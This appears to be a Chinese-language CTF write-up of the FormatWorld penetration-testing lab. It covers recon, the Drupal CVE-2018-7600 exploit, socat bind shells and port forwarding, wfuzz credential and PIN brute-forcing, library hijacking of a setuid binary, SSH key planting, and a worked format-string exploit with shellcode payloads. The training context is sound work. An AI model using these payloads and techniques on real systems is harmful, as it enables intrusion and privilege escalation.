渗透测试靶场之:FormatWorld
引子
前段时间参加了一个网络安全的线上培训,发现网安老师演示的FormatWorld靶场实例很有意思,作为小白的我忍不住记录下来。靶场需要我们逐步提权,最终get五个flag,涉及不少基础的渗透测试的工具和手段。喜欢的小伙伴点赞收藏支持一下。
准备环境(靶机和攻击机需使用NAT模式)
1.攻击机:kali(ip:192.168.208.135)。我的是kali-2021.3版本的,有点老,但不影响使用。
2.靶机:FormatWorld(ip:192.168.208.138)。
百度网盘下载链接:https://pan.baidu.com/s/1kmJzBJLXD4Kd9BAuQVSIFQ
提取码:wjvs
获取flag1
1.查看同一个网段下存活的ip地址
arp-scan -l
其中,192.168.208.1是Windows真实机在虚拟网卡VMnet8下的ip地址,192.168.208.2是VMnet8的网关,192.168.208.254是DHCP对ip的分配上限。很容易排除知道靶机ip为192.168.208.138。
或者也可以用下面的命令:
nmap -sP 192.168.208.0/24
-sP:ping扫描,但不进行端口扫描。
2.扫描靶机ip开放的端口
nmap -sV 192.168.208.138
-sV:可以显示服务的详细版本。
看到了开启的端口号、对应的服务和版本。但与常识相悖的是,ssh服务的端口号不是22,而是5555,先不屌它。
3.寻找ftp服务的漏洞
该靶机ftp版本为vsftpd 2.0.8或之后的版本,使用searchsploit命令寻找漏洞:
searchsploit vsftpd 2.0.8
searchsploit vsftpd 2.3.4
虽然vsftpd 2.0.8没有已知漏洞,但网上查资料知vsftpd 2.3.4存在漏洞。
这是著名的笑脸漏洞。vsftpd 2.3.4版本存在一个后门漏洞,这个后门的载荷以:)字符的形式拼接在用户名上,后门代码绑定的侦听端口是6200。利用下面nmap命令确认一下:
nmap -sS -T4 -A -p- 192.168.208.138
-sS:进行SYN半连接扫描(优点是速度很快,缺点是精确度相对较低,并且需要root权限)。
-T4:-T指定扫描时使用的时序模板,共0-5六个等级,等级越高,扫描速度越快,但是容易被防火墙和入侵检测设备发现。一般认为,4是最合适的等级参数。
-A:全面扫描。
-p-:全端口扫描。
发现果然允许ftp匿名登录。
4.利用漏洞进行ftp匿名登录
安装lftp。lftp是著名的字符界面的文件传输工具,支持ftp、sftp、ftps、http、https和fish协议。
apt-get install lftp
匿名登录:
lftp 192.168.208.138
输入user anonymous后输入密码,什么都行,我输的是123.com。
ls后可以看到一个文件WELCOME。get命令传到kali的root目录下,新建终端并查看:
欢迎来到FormatWorld!至此,信息收集任务完毕,那么如何获取flag1呢?
5.获取flag1
直接ls只有WELCOME一个文件,我们不妨使用ls -al查看一下隐藏文件,发现异常目录...,cd进去,再ls -al。发现可疑目录.bak,cd进去,再ls -al。操作如下图:
使用get命令将flag1.txt和firewall.sh传到root目录下,新建终端并查看:
get到flag1。另外,firewall.sh中含有关键词SYN、OUTPUT和tcp,即允许SYN出,恰好印证了前面nmap扫描时的-sS参数的可行性。
获取flag2
1.爆破8000端口的目录
21端口信息用完了,再研究下8000端口,它是http服务,故访问一下http://192.168.208.138:8000。
是一个登录网站,网页内容透露username是pinkadmin,其他一概不知,此时需再次使用nmap命令查询8000端口的目录,寻找有用信息:
nmap -sS -T4 -A -p- 192.168.208.138
或者直接使用dirb命令爆破目录(时间较长):
dirb http://192.168.208.138:8000
nmap扫描的结果为:
发现CHANGELOG.txt,直接访问http://192.168.208.138:8000/CHANGELOG.txt:
看到Drupal的版本是Drupal 7.57。
2.寻找Drupal的漏洞
由于Drupal 7.57的发行时间是2018-02-21,如此久远的版本必定是千疮百孔、漏洞百出,searchsploit命令看一下:
searchsploit Drupal 7.57
找下44449.rb的路径:
find / -name 44449.rb
Drupal 7.57的版本满足第四行的条件,因此可以利用/usr/share/exploitdb/exploits/php/webapps/44449.rb这个脚本。给它复制到root目录下,并查看内容:
cp /usr/share/exploitdb/exploits/php/webapps/44449.rb .
发现是[CVE-2018-7600]的漏洞类型。
3.获取shell
运行一下44449.rb,但在这之前必须安装highline否则报错:
gem install highline
gem命令用于构建、上传、下载以及安装gem包。
运行44449.rb:
./44449.rb
显示用法不对,按用法执行下面的命令:
ruby 44449.rb http://192.168.208.138:8000
拿到了如下的shell:
之后就是常规操作了:
get到flag2。
获取flag3
1.shell下尝试收集目录文件信息
-rw-r--r-- 1 root root 28 Aug 14 18:01 flag2.txt
drwxr-xr-x 4 www-data www-data 4096 Feb 21 2018 sites
以上面两行为例:最左边的d是目录文件,-是普通文件。rwx意思是可读(r)可写(w)可执行(x)。故drwxr-xr-x分为d|rwx|r-x|r-x,从左到右分别代表文件类型、文件所有者的权限、用户组的权限、其他用户的权限。左边的www-data代表所有者,右边的www-data代表用户组。
尝试收集信息:
发现cd命令失效了。
2.通过tcp监听进行提权
cd命令失效,先nc一下,发起tcp软连接,但发现命令不存在,于是考虑nc的加强版socat,命令如下:
socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
进入待监听状态,于是新建一个终端,监听1111端口,命令如下:
socat file:`tty`,raw,echo=0 tcp:192.168.208.138:1111
使用socat拿到了一个新的shell。
3.获取数据库信息
翻遍sites目录下的子文件,终于在settings.php中发现数据库的主机地址、名称、账号、密码和mysql引擎:
连接数据库:
mysql -h127.0.0.1 -udpink -pdrupink
后面就是数据库常识了,依次输入:
show databases;
use drupal;
show tables;
select * from users;
select name,pass from users;
出现用户名和MD5加密密文。网上在线解码MD5,失败了,这条线似乎断了?
4.端口转发
既然从数据库得不到更多信息,那就查看靶机开放的端口找找线索:
发现其他服务,利用socat转发80和65334端口给2222和3333:
socat tcp-listen:2222,fork tcp:127.0.0.1:80 &
socat tcp-listen:3333,fork tcp:127.0.0.1:65334 &
然后nmap查看这两个端口是否成功转发:
发现已经出现了2222和3333端口,转发成功。
5.爆破用户名、密码和pin值
既然是转发的是http服务,那么一定可以在浏览器访问,访问一下2222端口:
出现三个输入框,分别是用户名、密码和5字符pin值。并且网站名称是Guess,推测这应该和“猜测”有关。再访问一下3333端口:
难道是和数据库有关?事不宜迟,新建终端,用下面的命令爆破一下目录:
wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.208.138:3333/FUZZs.db"
db指数据库database,命令的意思大概是将dirb搜索到的目录填充到数据库中。
由于FUZZ是变量,因此pwd需要替换FUZZ,方可访问网址。现在可以访问一下http://192.168.208.138:3333/pwds.db了:
现在2222端口网址的password就有着落了,现在的问题是如何获取用户名。我们知道在linux的密码文件中,存放有不同用户的名称,于是要用到前面的shell,使用cat /etc/passwd查看一下密码文件:
发现关键的用户名:root、pinky、pinksec、pinksecmanagement,再加上破解flag2时访问8000端口的网址中的用户名pinkadmin,把这五个用户名存到root目录user.txt下。另外把pwds.db下有嫌疑的密码存到root目录下的passwd.txt中。
到这里有经验的朋友应该知道下一步的操作了,就是账号密码爆破。但pin值的范围是10的5次方,计算量大,因此可以先固定pin值爆破,看看用户名和密码大概是什么:
wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php
发现char值有个特立独行的41,使用--hh参数去掉char值为45的返回结果,再次爆破:
wfuzz --hh 45 -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php
之后就要猜测5位的pin值。使用crunch工具生成5位字符:
crunch 5 5 1234567890 > pin.txt
爆破pin值,使用--hh参数去掉char值为41和45的返回结果:
wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.208.138:2222/login.php
到此为止,
用户名:pinkadmin
密码:AaPinkSecaAdmin4467
pin值:23081
6.获取flag3
在http://192.168.208.138:2222/网址输入这三个数据,得到下面的界面:
这个输入框又是一个shell!但是在这里直接操作不方便,需要利用网页的可执行窗口,使用socat命令反弹一下shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:6666,bind=0.0.0.0,reuseaddr,fork
新建终端接收shell,socat命令监听6666端口,获得一个shell终端:
socat file:`tty`,raw,echo=0 tcp:192.168.208.138:6666
之后就是常规操作啦:
get到flag3。
获取flag4
1.通过端口转发获取pinksecd文件
在上面的shell的home目录下尝试cd进入pinky和pinksecmanagement目录,发现没有权限:
不经意间在刚才的bin目录下发现竟然有个setuid文件pinksecd!
出于学习漏洞分析后对setuid程序的敏感,我们可以尝试通过它来提权。在bin目录下利用socat命令打开pinksecd文件,通过7777端口进行转发:
socat -u open:pinksecd tcp-listen:7777,reuseaddr
再打开新的终端接收:
socat -u tcp:192.168.208.138:7777 open:pinksecd,create
无回显,这是正常的,命令意思是打开pinksecd并会在当前目录下创建pinksecd文件:
2.修改库文件使得pinksecd文件得以运行
根据前面该文件具有setuid(s)和可执行(x)的属性,猜测这是一个可执行程序,我们给他赋权限,然后运行一下:
运行失败,根据错误提示知道它的运行需要依赖一个libpinksec.so的文件。那在刚刚的shell里找找呗,使用ldd命令查看pinksecd的依赖库对应的文件:
ldd pinksecd
库的路径是/lib/libpinksec.so,用nm工具分析一下:
nm -g /lib/libpinksec.so
搜索psbanner、psopt、psoptin这三个函数发现是我们的目标函数,实际上就是bin目录下shell.c里的三个函数。cat查看shell.c,发现三个函数都有系统命令system(),我们可以用这些函数返回调用系统级别的命令。现在我们要编译一下shell.c,实际上目录中已存在。如果需要编译,要用以下命令:
gcc -shared -o shell.o -fPIC shell.c
我们的目标是加载库,故需要将shell.o替换原来的/lib/libpinksec.so:
cp shell.o /lib/libpinksec.so
使用命令./pinksecd再次运行一下pinksecd,又get到一个shell!更专业的说法是,在运行具有setuid权限的可执行文件pinksecd时,临时具有了其他用户的权限。
3.获取flag4
euid用户是pinksecmanagement,现在我们可以访问所有者为pinksecmanagement的文件或目录了:
get到flag4。
获取flag5
1.获取公钥
利用上面的shell键入删除等操作时出现预期外的符号,属于不稳定的shell。那要获取稳定shell怎么做呢?肯定是从已有信息中寻找。flag4的内容透露给我们ssh的端口是5555,这个我们一直没吊的端口竟然是隐藏的大boss!既然靶场开放了ssh服务,那么考虑免密方式登录靶场。首先进入/.ssh目录,建立rsa文件,查看id_rsa.pub中的公钥:
其中建立rsa文件的命令是:
ssh-keygen -t rsa
2.将公钥拷贝到靶场
我们免密登录的思路是用靶场的私钥访问这个公钥,二者对应上即可登录,但前提是需要把这个公钥拷贝到靶场。在shell中先回到我们的/home/pinksecmanagement目录,目录下并没有.ssh文件夹,我们自己建一个:
使用echo命令新建一个authorized_keys的文件,把刚才的公钥拷贝进去:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH3XJRL2CtpHjVOMN73DPirnTiQQkbEjmLIKFOCMFO3nmy+mo5yfgAyLAk2UzGlSfyrSwh3r6UM1d13khXNV8C1MDCVmbDKBF2xiTZ6r8dvEcgLyyjaBHkXrGVMLXWXXIvaX4j4ZZSr/FMuCkU6xwv2qBl1Tiw5dpt0l1+C17/z9hVIDm7shpG4qsdbm2qUKrg32zTi9GAwiUmURKxI/rcmQ6Qt2R8WIW+GNreWPolmwjYvZRQrSlVlkNGb7NvVX+eTwIsXm1dXqaDVME23GKTpYWQvEp/VVmUa5BerVE1q/SlqdKT9Bh3psRGaWEN75q1v/j2U6rGzydsqr1JUGfoeW7oC5RbxdRWMZPiC05TCg7rLbYafIs+CHxx1dsnDYdZicmQp7xE+6YiOh1m64tH4+9jKLs6j/MXLn41JG62Gra+wAlGkwM4ZfbhRsvY0Wj4fQlaB2XjHvvqy6xRQTnn7GpFaRqBT12S19eMD3EVKpW+XJdR2tFyQEAT1ZwEqLs= root@kali" > authorized_keys
3.kali终端免密登录靶场
切换到终端/.ssh目录,利用ssh使攻击机登录靶机:
ssh pinksecmanagement@192.168.208.138 -p 5555 -i id_rsa
登录成功,此时shell为pinksecmanagement所有。
4.从靶场接收目的文件
全局查找文件属性为setuid的文件,错误的结果直接舍弃:
find / -perm -u=s -type f 2> /dev/null
发现/usr/local/bin/PSMCCLI鹤立鸡群(其实就是我懒,大家可以自己分析这些文件),是个很奇怪的文件,查看一下其属性:
看到这个可执行的setuid文件不仅属于用户组pinksecmanagement,还属于所有者pinky。以文件后附任意值的方式运行它:
很容易知道这是格式化字符串漏洞。这个漏洞的利用,一般是向环境变量里写入shellcode,再利用漏洞程序改写地址到shellcode地址,以获取shell。现在先利用socat共享文件:
socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr
新建终端接收:
socat -u tcp:192.168.208.138:9999 open:PSMCCLI,create
5.利用格式化字符串漏洞逐步提权
查看PSMCCLI文件是否加壳:
checksec --file=PSMCCLI
没有什么保护,就是简单的格式化字符串漏洞。
(1)开始攻击,在shell中先将shellcode写进环境变量:
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
shell需要接收addr.c,即获取变量地址的程序,这里shell已经有了addr.c,直接编译,查看环境变量SPAWN地址:
SPAWN地址为bffffe7e。
(2)之后还要知道putchars的地址,需要反汇编工具objdump,使用命令:
objdump -R /usr/local/bin/PSMCCLI
putchars的地址为0804a01c。
(3)还要知道args函数位置,稍微输入一些测试payload:
/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")
目前字符是829个,136<829/6-2<137,故要不断尝试构造payload:
/usr/local/bin/PSMCCLI AAAABBBB%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBC%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBCC%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBCCC%136\$x%137\$x
命令/usr/local/bin/PSMCCLI AAAABBBBCCC%136$x%137$x的输出结果为AAAABBBB4141414142424242,即为正确结果。
(4)找前半段地址。现在要访问putchars的地址0x0804a01c,需要分成高低两个地址,高地址为0x0804a01e,低地址为0x0804a01c。利用刚才测试好的CCC%136$x%137$x作为拼接,构造下面的payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%136\$x%137\$x
出现了a01c和a01e,说明构造成功。
(5)找后半段地址。只需把$x换成$n。构造payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%136\$x%137\$n
报错了,这是因为payload超了边界。
(6)计算正确的地址并构造最终的payload提权。要把shellcode地址0xbffffe7e写入内存字节,由于每个短字节最多只能容纳0xffff,故需要拆分为两个短字节。0xbfff=49151,0xfe7e=65150。前半部分是49151,后半部分要减去AAAABBBBCCC的11个字节,即65150-11=65139。此外,bfff要进一,因此需要0x1bfff-0xfe7e=49537个字符写入所需的0xbfff。使用%u引入多余字符,构造最终的payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65139u%136\$hn%49537u%137\$hn
得到了新的shell。进行常规操作:
(7)上图结果没有我们想要的flag,可以采用我们之前用的老方法,即免密登录,重复之前免密登录的操作:
现在得到的shell所有者是pinky了。再次查看目录下的文件:
竟然还是没有相要的flag!
(8)获取flag5。穷极一切方法都没效果,只能考虑sudo -l的提权方式,恰好目录下有我们sudo -l提权需要的所有文件。先make一下,然后编译shell.c:
把编译后的shell复制到/tmp目录下,这是因为/tmp目录的内置策略,这里就不细究了。之后查看sudo -l命令的说明,使用该命令装载sroot.so:
在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!激动的心,颤抖的手,运行一下:
我们终于获得了顶级root权限,并且获得了flag5。
小结和寄语
至此我们获得了包括root、pinky、pinksecmanagement、pinksec、pinkadmin全部五个的shell。一路走来,实属不易。渗透测试之路很艰辛,我们仍需砥砺前行,且行且珍惜。